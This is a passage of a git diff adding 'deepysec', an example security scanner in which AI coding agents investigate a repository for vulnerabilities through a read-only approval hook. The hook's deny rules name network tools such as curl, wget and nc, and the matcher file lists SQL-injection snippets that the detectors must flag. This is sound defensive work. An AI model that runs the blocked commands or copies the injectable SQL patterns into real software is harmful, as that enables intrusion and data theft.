both analyses and one merged findings +list. + +Run the agents in Vercel Sandboxes instead of on your machine: + +```bash +uv run python -m deepysec process --root path/to/repo --sandboxes 3 --concurrency 6 +``` + +Needs `AI_GATEWAY_API_KEY` (read from your environment or a `.env.local` +above the current directory) and the Vercel credentials `vercel env pull` +writes. Nothing else changes: the store stays on this machine, and so does +the program. + +## What the SDK absorbed + +The spec this was built from tags every part of deepsec **[PRESERVE]**, +**[REPLACE]** or **[JUDGMENT]**. Everything **[PRESERVE]** is here in +`deepsec/`. Everything **[REPLACE]** became one of these calls: + +| deepsec | here | +|-----------------------------------------------------------|------------------------------------------------------------------------------------------| +| three SDK adapters behind `AgentPlugin` (3,141 lines) | `claude_code(...)` / `codex(...)`; `--agent` picks the factory, nothing else changes | +| read-only tool permissions (`Read`, `Glob`, `Grep`, `Bash`)| an `approve=` hook: `Deny` for writes and network, `Allow` for the rest (`agents.py`). The hook sees each harness's own tool names — Claude's `Bash`, codex's `commandExecution` — and judges the shell command either way | +| JSON output contract + three repair loops, `MAX_ATTEMPTS=3`| `session.run(prompt, output_type=list[FileReport], retries=2)` — the schema is the contract, the SDK re-asks | +| `accepted-risk` must never be agent-emitted | it is not in `Verdict`'s type, so the schema forbids it and a reply carrying it is re-asked | +| per-call cost and token usage | `result.usage`; claude's dollar figure rides in `usage.raw["cost_usd"]` | +| turn budget (150 turns) | `timeout=` per batch (`--max-duration`) | +| `--thinking-level` → per-vendor effort mapping | `effort=` on both factories, one scale | +| quota exhaustion aborts every in-flight batch | `NotAuthenticatedError` / `TurnFailedError` classified once; `session.stop()` on the others | +| OS sandbox + env allowlist around the CLI | run in a `VercelSandbox` instead — the microVM is the boundary | +| credential brokering: placeholder in the VM, header injected at egress (§9.2) | `VercelSandbox(gateway=gw)`; the harness inside is handed the placeholder automatically | +| tarball upload, bootstrap snapshot, in-VM worker CLI, result download + merge (3,049 lines) | `copy(root, sandbox / "project")` and the same `process()` loop; the harness runs in the VM, the program and the store do not | +| scan honours `.gitignore` | `walk_uploadable` — the SDK's own (private) walk, the one `copy` uses | + +The single biggest simplification is the last row. deepsec had to ship +*itself* into the VM, run a copy of its CLI there against a manifest, and +pull records back through an allowlist, because the agent SDKs only worked +in-process. Here the agent process is in the VM and the Python calling it +is not, so partitioning is a round-robin over a list of workers and merging +is the same `store.save()` as the local path. + +## What is preserved + +- **Data model** (`models.py`): `FileRecord`, `Finding`, `AnalysisEntry`, + `Revalidation`, `RunMeta`, written as camelCase JSON under + `data//files/.json` exactly as deepsec writes them. + `finding_id` is the same `sha256(projectId, path, title)` prefix, so the + same issue in the same file has the same id across runs, models and machines. +- **Merge rules** (`store.py`): re-scan unions candidates, re-process + appends an `AnalysisEntry` and unions findings by (slug, title), + revalidate tags findings and never creates them, enrich sets `gitInfo`. +- **Leases** (`store.py`): a file is claimable when `pending`, or when + `processing` under a lock older than an hour whose run is done, errored or + gone — or, on the same host, whose pid is dead, so a SIGKILLed run is + reclaimed immediately rather than in an hour. Locks are released on + completion, on failure, and on quota abort. +- **Cost attribution**: one agent call covers a batch; cost, tokens and + duration are divided over the files that produced valid results and + stamped per file. The sum of per-file `costUsd` is the run's `totalCostUsd`. +- **Prompts** (`prompt.py`): deepsec's `CORE_PROMPT`, slug notes, investigation + instructions and revalidation prompt verbatim, composed in `assemble.ts`'s + order; `--thinking-level` with its vocabulary and default. Framework + highlights are left out of the MVP. +- **Matchers** (`matchers.py`): fifteen of deepsec's rules ported with their + `examples`, and the discovery test that asserts every example fires. + +## What was left out, and what to know + +- **Credential brokering is the SDK's.** deepsec's strongest security + property, the real API key never entering the VM, holds here too: + `VercelSandbox(gateway=gw)` locks the VM's egress to the gateway host, the + sandbox firewall writes the key into requests on the way out, and the + harness inside holds a placeholder. The SDK's own tests read the VM's + process table for the key and try to leave for other hosts. +- **Git history in sandboxes.** `copy` leaves `.git` behind, so a + revalidation run with `--sandboxes` cannot check whether an issue was + already fixed. `enrich` is host-only either way, as in deepsec. +- **Batching.** Kept, because cost division and partial results are part of + what the spec preserves. `--batch-size 1` deletes that machinery, and with + prompt caching it may be the right default; measure before deciding. +- Not ported: `triage`, `init`, `--diff`, plugins, notifiers, ownership, the + refusal follow-up, framework highlights, 184 of the 199 matchers. All of + them fit the same seams. + +## Layout + +``` +deepysec/ (the package; on-disk state stays under .deepsec/) + models.py data model + finding ids [PRESERVE] + store.py append-only store, merges, leases [PRESERVE] + matchers.py matcher contract + 15 rules [PRESERVE] + scan.py stage 1 + prompt.py CORE_PROMPT + batch assembly [PRESERVE] + agents.py the ai.harnesses seam [was REPLACE] + process.py stage 2 + revalidate.py stage 3 + enrich.py stage 4 + export.py stage 5 + status + cli.py +tests/ matcher examples, store invariants, and a live pipeline run +``` + +```bash +cd examples/apps/deepysec +uv run pytest -m "not live" # offline invariants only +uv run pytest # everything, including the live run +``` + +The scan tests and the live run need the vulnerable app: point +`DEEPYSEC_FIXTURE` at it, or they skip. diff --git a/examples/apps/deepysec/deepysec/__init__.py b/examples/apps/deepysec/deepysec/__init__.py new file mode 100644 index 00000000..231a1cc5 --- /dev/null +++ b/examples/apps/deepysec/deepysec/__init__.py @@ -0,0 +1 @@ +"""deepysec: deepsec, rebuilt on ai.harnesses. See README.md.""" diff --git a/examples/apps/deepysec/deepysec/__main__.py b/examples/apps/deepysec/deepysec/__main__.py new file mode 100644 index 00000000..0996583b --- /dev/null +++ b/examples/apps/deepysec/deepysec/__main__.py @@ -0,0 +1,3 @@ +from deepysec.cli import main + +raise SystemExit(main()) diff --git a/examples/apps/deepysec/deepysec/agents.py b/examples/apps/deepysec/deepysec/agents.py new file mode 100644 index 00000000..a15dafc9 --- /dev/null +++ b/examples/apps/deepysec/deepysec/agents.py @@ -0,0 +1,405 @@ +"""The ai.harnesses seam — everything the spec tagged [REPLACE] in §4.4, §8, §9. + +deepsec's three vendor adapters, its JSON repair loops, its OS sandbox and +its microVM pipeline all land in this one file, as calls into the SDK: + +- `claude_code()` / `codex()` are the adapters. `--agent` picks one. +- `approve=static_analysis_only` is the tool permission table (§8.3). +- `session.run(prompt, output_type=..., retries=2)` is the output contract + and its repair loop (§4.4). The SDK appends the schema and re-asks. +- `result.usage` is the per-call cost and token usage (§8.2 requirement 1). +- `VercelSandbox(gateway=gw)` + `copy()` is distributed execution (§9): the + harness runs in the VM, this program and the store do not — and the + gateway key does not either (§9.2): the sandbox firewall injects it at + egress and the VM holds a placeholder. +""" + +from __future__ import annotations + +import asyncio +import contextlib +import os +import re +import time +from contextlib import AsyncExitStack, asynccontextmanager +from pathlib import Path +from typing import TYPE_CHECKING, Literal, cast + +from pydantic import BaseModel, ConfigDict, ValidationError + +from ai.harnesses.experimental import ( + Allow, + ApprovalContext, + Decision, + Deny, + Harness, + Result, + Session, + claude_code, + codex, +) +from ai.harnesses.experimental.errors import HarnessError, TurnFailedError +from ai.types.messages import TextPart +from ai.workspaces.experimental import ( + Gateway, + Local, + VercelSandbox, + Workspace, + copy, + vercel_ai_gateway, +) +from ai.workspaces.experimental.errors import NotAuthenticatedError +from deepysec.models import TokenUsage +from deepysec.scan import SCAN_IGNORE + +if TYPE_CHECKING: + from collections.abc import AsyncIterator + +KEY_VAR = "AI_GATEWAY_API_KEY" + +AgentKind = Literal["claude", "codex"] +Effort = Literal["low", "medium", "high", "max"] + +#: deepsec's `--thinking-level` vocabulary, mapped to the SDK's one scale. +#: Its default is xhigh: deepsec optimizes for finding hard bugs, not for cost. +THINKING_LEVELS: dict[str, Effort] = { + "minimal": "low", + "low": "low", + "medium": "medium", + "high": "high", + "xhigh": "max", +} + + +# -- tool permissions (spec §8.3) --------------------------------------------- + +#: Claude's read-only tools. Codex has no separate read tools: it reads by +#: running commands, which the shell rules below judge. +READ_ONLY_TOOLS = {"Read", "Glob", "Grep", "LS"} +#: The tools that carry a shell command, by each harness's native name. +SHELL_TOOLS = {"Bash", "commandExecution"} +NETWORK = re.compile( + r"\b(curl|wget|nc|ncat|ssh|scp|ftp|telnet|npm\s+install|pip\s+install)\b" +) +MUTATION = re.compile( + r"(^|[;&|]\s*)(rm|mv|cp|chmod|chown|touch|tee|sed\s+-i|git\s+(push|commit|checkout|reset|clean))\b" +) +REDIRECT = re.compile(r"(?\s*(?!/dev/null)\S") +SHELL_WRAPPER = re.compile(r"^\s*(?:/\S*/)?(?:ba|z|da)?sh\s+-l?c\s+(.*)$", re.S) + + +def shell_text(command: str) -> str: + """The command as the shell will see it. + + Codex wraps everything in `/bin/bash -lc '...'`; judging the wrapper instead + of its argument would let `rm -rf` through because it follows a quote, not a + separator. + """ + match = SHELL_WRAPPER.match(command) + if match is None: + return command + inner = match.group(1).strip() + if len(inner) >= 2 and inner[0] == inner[-1] and inner[0] in "'\"": + inner = inner[1:-1] + return inner + + +async def static_analysis_only(ctx: ApprovalContext) -> Decision: + """The agent is a security researcher with a read-only shell. + + Claude never routes Read/Glob/Grep through the hook — its own policy + treats them as safe — so what arrives from it is Bash and anything that + writes. Codex routes its `commandExecution` here, under that name, with + the command in the same `command` field. The SDK hands over each + harness's own tool call untranslated, so the hook has to know both + dialects; a denial's reason is delivered to the agent as guidance. + """ + call = ctx.call + if call.name in SHELL_TOOLS: + command = shell_text(str(call.input.get("command", ""))) + if NETWORK.search(command): + return Deny( + "static analysis only: no network access from the shell" + ) + if MUTATION.search(command) or REDIRECT.search(command): + return Deny("static analysis only: the tree is read-only") + return Allow() + if call.name in READ_ONLY_TOOLS: + return Allow() + return Deny( + f"{call.name} is not available: static analysis only, with read-only " + "tools" + ) + + +# -- reaching a model ---------------------------------------------------------- + + +def gateway_from_env() -> Gateway | None: + """A Vercel AI Gateway, if a key is around: in the environment, or in a + `.env.local` above the current directory — the file `vercel env pull` + writes. The key only ever travels as this object: never in a handle, + never in the store.""" + key = os.environ.get(KEY_VAR) + if not key: + for directory in (Path.cwd(), *Path.cwd().parents): + candidate = directory / ".env.local" + if candidate.is_file(): + for line in candidate.read_text().splitlines(): + if line.startswith(KEY_VAR + "="): + key = line.split("=", 1)[1].strip().strip("\"'") + break + if key: + break + return vercel_ai_gateway(api_key=key) if key else None + + +# -- workers ----------------------------------------------------------------- + + +class Worker(BaseModel): + """One open harness, and where the project is inside its workspace.""" + + model_config = ConfigDict(arbitrary_types_allowed=True) + + label: str + harness: Harness + project_dir: str + """`.` on a Local workspace; `project` in a sandbox holding the tree.""" + + @property + def model(self) -> str: + return str( + self.harness.options.get("model") or f"{self.harness.kind}-default" + ) + + def relative(self, path: str) -> str: + """A path the agent reported, as the store keys it.""" + p = path.replace("\\", "/").strip() + root = self.harness.workspace.path.rstrip("/") + if root and p.startswith(root + "/"): + p = p[len(root) + 1 :] + p = p.removeprefix("./") + if self.project_dir not in ("", ".") and p.startswith( + self.project_dir + "/" + ): + p = p[len(self.project_dir) + 1 :] + return p + + +def build_harness( + agent: AgentKind, + workspace: Workspace, + *, + model: str | None, + gateway: Gateway | None, + effort: Effort | None = None, +) -> Harness: + if agent == "claude": + return claude_code( + workspace=workspace, + approve=static_analysis_only, + model=model, + gateway=gateway, + effort=effort, + ) + # codex has a read-only sandbox of its own on a local machine; inside a + # microVM the VM is the boundary and the SDK's default applies. + return codex( + workspace=workspace, + approve=static_analysis_only, + model=model, + gateway=gateway, + effort=effort, + sandbox="read-only" if workspace.kind == "local" else None, + ) + + +@asynccontextmanager +async def open_workers( + *, + agent: AgentKind, + model: str | None, + root: Path, + sandboxes: int, + gateway: Gateway | None, + effort: Effort | None = None, +) -> AsyncIterator[list[Worker]]: + """One worker on this machine, or N in Vercel Sandboxes with the project + copied into each. The caller never learns which — same `Worker` either way. + """ + if sandboxes <= 0: + harness = build_harness( + agent, Local(root), model=model, gateway=gateway, effort=effort + ) + async with harness: + yield [Worker(label="local", harness=harness, project_dir=".")] + return + + if gateway is None: + raise NotAuthenticatedError( + agent, + "a sandbox has never seen your login", + "set AI_GATEWAY_API_KEY (or put it in .env.local) so the harness " + "can reach a model", + ) + + async with AsyncExitStack() as stack: + + async def boot(index: int) -> Worker: + # Vercel credentials come from `.env.local` above where the COMMAND + # runs, the same place `gateway_from_env` looks — not from the tree. + # The gateway is the WORKSPACE's: the VM's egress is locked to the + # gateway host, the firewall writes the key into requests on the + # way out, and the harness below is handed a placeholder. deepsec's + # credential brokering (§9.2), as one constructor argument. + workspace = await stack.enter_async_context( + VercelSandbox(gateway=gateway) + ) + # The tree, minus what .gitignore excludes and minus our own store: + # the agent gets the code, never its predecessors' findings. + sent = await copy(root, workspace / "project", ignore=SCAN_IGNORE) + harness = build_harness( + agent, workspace, model=model, gateway=None, effort=effort + ) + await stack.enter_async_context(harness) + print( + f"[sandbox-{index + 1}] up: {workspace.name}, {sent} files in, " + f"{harness.kind} {harness.version}" + ) + return Worker( + label=f"sandbox-{index + 1}", + harness=harness, + project_dir="project", + ) + + yield list(await asyncio.gather(*(boot(i) for i in range(sandboxes)))) + + +# -- one structured call ----------------------------------------------------- + + +class ContractViolatedError(Exception): + """The agent never produced a reply matching the schema, after the SDK's + retries. `raw` is its last reply, for `debug/`.""" + + def __init__(self, raw: str, detail: str) -> None: + super().__init__(detail) + self.raw = raw + + +class RunAbortedError(Exception): + """Every batch is hitting the same wall — an empty balance, a missing login. + + Letting the others run wastes minutes (spec §4.5). + """ + + +BILLING = ( + "credit", + "billing", + "quota", + "insufficient", + "exceeded", + "spending", + "balance", +) + + +def is_fatal(exc: HarnessError) -> bool: + if isinstance(exc, NotAuthenticatedError): + return True + return isinstance(exc, TurnFailedError) and any( + m in str(exc).lower() for m in BILLING + ) + + +class Answer[T](BaseModel): + model_config = ConfigDict(arbitrary_types_allowed=True) + + output: T + result: Result + session_id: str + duration_ms: int + + @property + def cost_usd(self) -> float | None: + value = (self.result.usage.raw or {}).get("cost_usd") + return float(value) if value is not None else None + + @property + def usage(self) -> TokenUsage: + u = self.result.usage + return TokenUsage( + input_tokens=u.input_tokens, + output_tokens=u.output_tokens, + cache_read_input_tokens=u.cache_read_tokens or 0, + cache_creation_input_tokens=u.cache_write_tokens or 0, + ) + + +class Fleet: + """The sessions in flight, so an abort can stop them all — real + cancellation through the SDK, not a flag the next poll would notice.""" + + def __init__(self) -> None: + self.active: set[Session] = set() + self.aborted: str | None = None + + async def abort(self, reason: str) -> None: + if self.aborted is not None: + return + self.aborted = reason + for session in list(self.active): + with contextlib.suppress(Exception): + await session.stop() + + +async def ask[T]( + worker: Worker, + prompt: str, + output_type: type[T], + *, + timeout: float | None, + fleet: Fleet, +) -> Answer[T]: + """One prompt, one fresh conversation, one validated value. + + `retries=2` is deepsec's MAX_ATTEMPTS=3: the SDK re-asks with the + validation error twice before giving up. `timeout` is the turn budget: + a deadline settles the turn as cancelled and keeps what was produced. + """ + session = worker.harness.session() + fleet.active.add(session) + started = time.monotonic() + try: + result = await session.run( + prompt, output_type=output_type, retries=2, timeout=timeout + ) + except ValidationError as exc: + raise ContractViolatedError(_last_reply(session), str(exc)) from exc + except HarnessError as exc: + if is_fatal(exc): + raise RunAbortedError(str(exc)) from exc + raise + finally: + fleet.active.discard(session) + with contextlib.suppress(Exception): + await session.close() + if fleet.aborted is not None: + raise RunAbortedError(fleet.aborted) + return Answer[output_type]( # type: ignore[valid-type] # ty: ignore[invalid-type-form] + output=cast("T", result.output), + result=result, + session_id=session.session_id, + duration_ms=int((time.monotonic() - started) * 1000), + ) + + +def _last_reply(session: Session) -> str: + for message in reversed(session.messages): + if message.role == "assistant": + return "".join( + p.text for p in message.parts if isinstance(p, TextPart) + ) + return "" diff --git a/examples/apps/deepysec/deepysec/cli.py b/examples/apps/deepysec/deepysec/cli.py new file mode 100644 index 00000000..2eb80a59 --- /dev/null +++ b/examples/apps/deepysec/deepysec/cli.py @@ -0,0 +1,220 @@ +"""deepsec's CLI surface (spec §11), the MVP subset. + + scan | process | revalidate | enrich | export | status | all + +`--sandboxes N` on process/revalidate runs the agents in N Vercel Sandboxes +instead of here. It is a flag, not a subcommand, because with the SDK that +is all it is. +""" + +from __future__ import annotations + +import argparse +import asyncio +import sys +from pathlib import Path +from typing import TYPE_CHECKING + +from ai.workspaces.experimental.errors import NotAuthenticatedError +from deepysec import enrich as enrich_stage +from deepysec import export as export_stage +from deepysec import process as process_stage +from deepysec import revalidate as revalidate_stage +from deepysec import scan as scan_stage +from deepysec.agents import ( + THINKING_LEVELS, + AgentKind, + gateway_from_env, + open_workers, +) +from deepysec.matchers import registry +from deepysec.store import Store + +if TYPE_CHECKING: + from collections.abc import Sequence + + from ai.workspaces.experimental import Gateway + + +def _common(p: argparse.ArgumentParser) -> None: + p.add_argument("--root", default=".", help="project root (default: .)") + p.add_argument("--project-id", help="default: the root directory's name") + p.add_argument("--data-dir", help="default: /.deepsec/data") + + +def _agent_flags(p: argparse.ArgumentParser) -> None: + p.add_argument("--agent", choices=["claude", "codex"], default="claude") + p.add_argument("--model") + p.add_argument( + "--thinking-level", + choices=list(THINKING_LEVELS), + default="xhigh", + help=( + "reasoning effort, deepsec's scale (default: xhigh, as in the " + "original)" + ), + ) + p.add_argument("--batch-size", type=int, default=3) + p.add_argument("--concurrency", type=int, default=2) + p.add_argument("--limit", type=int) + p.add_argument( + "--max-duration", type=float, default=900.0, help="seconds per batch" + ) + p.add_argument( + "--sandboxes", + type=int, + default=0, + help="run the agents in N Vercel Sandboxes", + ) + p.add_argument( + "--gateway", + action="store_true", + help=( + "reach the model through the Vercel AI Gateway (AI_GATEWAY_API_KEY)" + " " + ) + + "instead of the CLI's own login; implied by --sandboxes", + ) + + +def parser() -> argparse.ArgumentParser: + p = argparse.ArgumentParser(prog="deepysec", description=__doc__) + sub = p.add_subparsers(dest="command", required=True) + + s = sub.add_parser("scan", help="regex candidate discovery") + _common(s) + s.add_argument("--only", nargs="*", help="matcher slugs to run") + + s = sub.add_parser("process", help="agent investigation of pending files") + _common(s) + _agent_flags(s) + + s = sub.add_parser("revalidate", help="verdicts on existing findings") + _common(s) + _agent_flags(s) + s.add_argument( + "--min-severity", + default="HIGH", + choices=["CRITICAL", "HIGH", "HIGH_BUG", "MEDIUM", "BUG", "LOW"], + ) + s.add_argument( + "--force", + action="store_true", + help="re-verdict findings that already have one", + ) + + s = sub.add_parser("enrich", help="git committers per finding-bearing file") + _common(s) + s.add_argument("--force", action="store_true") + + s = sub.add_parser("export", help="findings.json + report.md") + _common(s) + + s = sub.add_parser("status", help="snapshot of the store") + _common(s) + + s = sub.add_parser( + "all", help="scan → process → revalidate → enrich → export" + ) + _common(s) + _agent_flags(s) + s.add_argument( + "--min-severity", + default="HIGH", + choices=["CRITICAL", "HIGH", "HIGH_BUG", "MEDIUM", "BUG", "LOW"], + ) + return p + + +def _store(args: argparse.Namespace) -> tuple[Path, Store]: + root = Path(args.root).expanduser().resolve() + project_id = args.project_id or root.name + data_dir = ( + Path(args.data_dir).expanduser() + if args.data_dir + else root / ".deepsec" / "data" + ) + return root, Store(data_dir, project_id) + + +def _gateway(args: argparse.Namespace) -> Gateway | None: + """By default the CLI's own login is used and no key is needed.""" + if not (args.gateway or args.sandboxes > 0): + return None + return gateway_from_env() + + +def _info(root: Path) -> str | None: + info = root / ".deepsec" / "INFO.md" + return info.read_text() if info.is_file() else None + + +async def _agent_stage( + args: argparse.Namespace, root: Path, store: Store, *, stage: str +) -> bool: + """False when a run aborted; the pipeline, and `all`, stop there.""" + agent: AgentKind = args.agent + async with open_workers( + agent=agent, + model=args.model, + root=root, + sandboxes=args.sandboxes, + gateway=_gateway(args), + effort=THINKING_LEVELS[args.thinking_level], + ) as workers: + if stage in ("process", "all"): + run = await process_stage.process( + store, + workers, + batch_size=args.batch_size, + concurrency=args.concurrency, + limit=args.limit, + timeout=args.max_duration, + project_info=_info(root), + ) + if run.phase == "error": + return False + if stage in ("revalidate", "all"): + run = await revalidate_stage.revalidate( + store, + workers, + min_severity=args.min_severity, + force=getattr(args, "force", False), + batch_size=args.batch_size, + concurrency=args.concurrency, + limit=args.limit, + timeout=args.max_duration, + git_root=root, + project_info=_info(root), + ) + if run.phase == "error": + return False + return True + + +def main(argv: Sequence[str] | None = None) -> int: + args = parser().parse_args(argv) + root, store = _store(args) + command: str = args.command + + if command in ("scan", "all"): + only = getattr(args, "only", None) + scan_stage.scan(root, store, registry(only=only or None)) + if command in ("process", "revalidate", "all"): + try: + ok = asyncio.run(_agent_stage(args, root, store, stage=command)) + except NotAuthenticatedError as exc: + # The SDK already says what to set and where; a traceback adds + # nothing. + print(f"[{command}] {exc}", file=sys.stderr) + return 2 + if not ok: + return 2 + if command in ("enrich", "all"): + enrich_stage.enrich(root, store, force=getattr(args, "force", False)) + if command in ("export", "all"): + json_path, md_path = export_stage.export(store) + print(f"[export] {json_path}\n[export] {md_path}") + if command == "status": + print(export_stage.status(store)) + return 0 diff --git a/examples/apps/deepysec/deepysec/enrich.py b/examples/apps/deepysec/deepysec/enrich.py new file mode 100644 index 00000000..161106f4 --- /dev/null +++ b/examples/apps/deepysec/deepysec/enrich.py @@ -0,0 +1,72 @@ +"""Stage 4 — enrich (spec §6). + +Host-only by design: git history lives here, not in a sandbox `copy` shipped +without `.git`. Turns a list of vulnerabilities into a list with names attached. +""" + +from __future__ import annotations + +import subprocess +from typing import TYPE_CHECKING + +from deepysec.models import Committer, GitInfo, now + +if TYPE_CHECKING: + from collections.abc import Callable + from pathlib import Path + + from deepysec.store import Store + + +def recent_committers( + root: Path, file_path: str, limit: int = 5 +) -> list[Committer]: + try: + out = subprocess.run( + [ + "git", + "log", + f"-n{limit}", + "--format=%an%x1f%ae%x1f%aI", + "--", + file_path, + ], + cwd=root, + capture_output=True, + text=True, + check=False, + ) + except OSError: + return [] + if out.returncode != 0: + return [] + committers = [] + for line in out.stdout.splitlines(): + parts = line.split("\x1f") + if len(parts) == 3: + committers.append( + Committer(name=parts[0], email=parts[1], date=parts[2]) + ) + return committers + + +def enrich( + root: Path, + store: Store, + *, + force: bool = False, + log: Callable[[str], None] = print, +) -> int: + """Set `gitInfo` on records that have findings, keeping what is there.""" + count = 0 + for record in store.records(): + if not record.findings or (record.git_info is not None and not force): + continue + record.git_info = GitInfo( + recent_committers=recent_committers(root, record.file_path), + enriched_at=now(), + ) + store.save(record) + count += 1 + log(f"[enrich] {count} files enriched with git history") + return count diff --git a/examples/apps/deepysec/deepysec/export.py b/examples/apps/deepysec/deepysec/export.py new file mode 100644 index 00000000..d2de351c --- /dev/null +++ b/examples/apps/deepysec/deepysec/export.py @@ -0,0 +1,138 @@ +"""Read-only stages (spec §7): `export` writes findings.json and report.md +under `reports/`; `status` prints a snapshot.""" + +from __future__ import annotations + +import json +from collections import Counter +from typing import TYPE_CHECKING + +from deepysec.models import SEVERITY_ORDER, FileRecord, Finding + +if TYPE_CHECKING: + from pathlib import Path + + from deepysec.store import Store + + +def _verdict(finding: Finding) -> str: + return ( + finding.revalidation.verdict + if finding.revalidation + else "unrevalidated" + ) + + +def export(store: Store) -> tuple[Path, Path]: + records = store.records() + rows: list[tuple[FileRecord, Finding]] = [ + (r, f) for r in records for f in r.findings + ] + rows.sort(key=lambda rf: (SEVERITY_ORDER[rf[1].severity], rf[0].file_path)) + + flat = [ + {"filePath": r.file_path, **f.model_dump(mode="json")} for r, f in rows + ] + store.reports_dir.mkdir(parents=True, exist_ok=True) + json_path = store.reports_dir / "findings.json" + json_path.write_text(json.dumps(flat, indent=2)) + + lines = [f"# deepysec report — {store.project_id}", ""] + by_severity = Counter(f.severity for _, f in rows) + by_verdict = Counter(_verdict(f) for _, f in rows) + lines.append( + f"{len(records)} files scanned, " + f"{sum(1 for r in records if r.status == 'analyzed')} analyzed, " + + f"{len(rows)} findings." + ) + lines.append("") + lines.append("| severity | count | | verdict | count |") + lines.append("|---|---|---|---|---|") + severities = sorted(by_severity, key=lambda s: SEVERITY_ORDER[s]) + verdicts = sorted(by_verdict) + for i in range(max(len(severities), len(verdicts), 1)): + left = ( + f"{severities[i]} | {by_severity[severities[i]]}" + if i < len(severities) + else " | " + ) + right = ( + f"{verdicts[i]} | {by_verdict[verdicts[i]]}" + if i < len(verdicts) + else " | " + ) + lines.append(f"| {left} | | {right} |") + lines.append("") + for r, f in rows: + v = f.revalidation + badge = f" · **{v.verdict}**" if v else "" + numbers = ", ".join(map(str, f.line_numbers)) or "n/a" + lines.append(f"## [{f.severity}] {f.title}{badge}") + lines.append("") + lines.append( + f"`{r.file_path}` lines {numbers} · `{f.vuln_slug}` · confidence " + f"{f.confidence} · `{f.finding_id}`" + ) + lines.append("") + lines.append(f.description.strip()) + if f.recommendation: + lines.append("") + lines.append(f"**Fix:** {f.recommendation.strip()}") + if v: + lines.append("") + adjusted = ( + f" (severity → {v.adjusted_severity})" + if v.adjusted_severity + else "" + ) + lines.append( + f"**Revalidation ({v.model}):** {v.verdict}{adjusted} — " + f"{v.reasoning.strip()}" + ) + if r.git_info and r.git_info.recent_committers: + who = ", ".join( + f"{c.name} <{c.email}>" + for c in r.git_info.recent_committers[:3] + ) + lines.append("") + lines.append(f"**Recent committers:** {who}") + lines.append("") + md_path = store.reports_dir / "report.md" + md_path.write_text("\n".join(lines)) + return json_path, md_path + + +def status(store: Store) -> str: + records = store.records() + statuses = Counter(r.status for r in records) + findings = [f for r in records for f in r.findings] + severities = Counter(f.severity for f in findings) + verdicts = Counter(_verdict(f) for f in findings) + runs = store.runs() + cost = sum(r.stats.total_cost_usd for r in runs) + out = [ + f"project {store.project_id} — {store.root}", + f"files: {len(records)} (" + + ", ".join(f"{k} {v}" for k, v in sorted(statuses.items())) + + ")", + f"findings: {len(findings)} (" + + ", ".join( + f"{k} {v}" + for k, v in sorted( + severities.items(), key=lambda kv: SEVERITY_ORDER[kv[0]] + ) + ) + + ")", + "verdicts: " + + ", ".join(f"{k} {v}" for k, v in sorted(verdicts.items())), + f"runs: {len(runs)}, ${cost:.4f} total", + ] + locked = [r for r in records if r.status == "processing"] + if locked: + out.append( + "locked: " + + ", ".join( + f"{r.file_path} (by {r.locked_by_run_id})" for r in locked + ) + ) + return "\n".join(out) diff --git a/examples/apps/deepysec/deepysec/matchers.py b/examples/apps/deepysec/deepysec/matchers.py new file mode 100644 index 00000000..4d10700c --- /dev/null +++ b/examples/apps/deepysec/deepysec/matchers.py @@ -0,0 +1,929 @@ +"""The matcher contract (spec §3) and fifteen of deepsec's rules, ported. + +A matcher is a slug, a noise tier, the file extensions it applies to, a list +of (regex, label) sub-patterns, and `examples` — snippets it MUST flag. +`examples` are not used at runtime: `tests/test_matchers.py` iterates the +registry and asserts every one fires, which is what keeps a regex honest. +""" + +from __future__ import annotations + +import re + +from pydantic import BaseModel, ConfigDict + +from deepysec.models import CandidateMatch, NoiseTier + + +class Pattern(BaseModel): + model_config = ConfigDict(arbitrary_types_allowed=True, frozen=True) + + regex: re.Pattern[str] + label: str + guard: re.Pattern[str] | None = None + """Only fires when the WHOLE file matches this too.""" + unless: re.Pattern[str] | None = None + """A line matching this is skipped.""" + + +class Matcher(BaseModel): + model_config = ConfigDict(arbitrary_types_allowed=True, frozen=True) + + slug: str + description: str + noise_tier: NoiseTier + extensions: tuple[str, ...] + examples: list[str] + patterns: list[Pattern] + skip_paths: re.Pattern[str] | None = None + skip_content: re.Pattern[str] | None = None + """A file matching this is left alone — e.g. one already wrapped in auth.""" + + def applies_to(self, file_path: str) -> bool: + if self.skip_paths is not None and self.skip_paths.search(file_path): + return False + return file_path.rsplit(".", 1)[-1] in self.extensions + + def match(self, content: str, file_path: str) -> list[CandidateMatch]: + """For each sub-pattern, every line that fires — 1-based — with the + first hit's surrounding lines as the snippet.""" + if self.skip_paths is not None and self.skip_paths.search(file_path): + return [] + if self.skip_content is not None and self.skip_content.search(content): + return [] + lines = content.split("\n") + found: list[CandidateMatch] = [] + for pattern in self.patterns: + if pattern.guard is not None and not pattern.guard.search(content): + continue + hits: list[int] = [] + snippet = "" + for i, line in enumerate(lines): + if pattern.unless is not None and pattern.unless.search(line): + continue + if pattern.regex.search(line): + hits.append(i + 1) + if not snippet: + snippet = "\n".join(lines[max(0, i - 2) : i + 3]) + if hits: + found.append( + CandidateMatch( + vuln_slug=self.slug, + line_numbers=hits, + snippet=snippet, + matched_pattern=pattern.label, + ) + ) + return found + + +def _p( + regex: str, + label: str, + *, + flags: int = 0, + guard: str | None = None, + unless: str | None = None, +) -> Pattern: + return Pattern( + regex=re.compile(regex, flags), + label=label, + guard=re.compile(guard, re.I) if guard else None, + unless=re.compile(unless) if unless else None, + ) + + +JS = ("ts", "tsx", "js", "jsx") +TEST_FILES = re.compile(r"\.(test|spec)\.", re.I) +REQUEST_INPUT = ( + r"(?:req\.|request\.|params\.|query\.|body\.|parsed\.|input\.|ctx\.|payload\." + + r"|searchParams|nextUrl|formData|headers\(\)|cookies\(\))" +) + +SQL_INJECTION = Matcher( + slug="sql-injection", + description="Raw SQL string concatenation or interpolation", + noise_tier="precise", + extensions=JS, + examples=[ + "const q = `SELECT * FROM users WHERE id = ${id}`;", + "const q = `INSERT INTO logs (msg) VALUES (${msg})`;", + "const q = `UPDATE users SET name = ${name} WHERE id = 1`;", + "const q = `DELETE FROM items WHERE id = ${id}`;", + 'const q = "SELECT * FROM t WHERE id =" + id;', + 'const q = "INSERT INTO t VALUES (" + v + ")";', + 'const q = "UPDATE t SET x = " + v;', + 'const q = "DELETE FROM t WHERE id =" + id;', + "db.query(`SELECT ${col} FROM t`);", + "knex.raw(`SELECT ${col} FROM t`);", + "const c = `SELECT * FROM t WHERE name LIKE ${pat}`;", + "const c = `SELECT * FROM t WHERE name LIKE '%${pat}%'`;", + "const c = `SELECT * FROM t WHERE name RLIKE ${pat}`;", + "executeQuery(`SELECT * FROM t WHERE id = ${id}`);", + "sql.raw(rawString)", + "const r = sql`SELECT * FROM t WHERE id = ${id}`;", 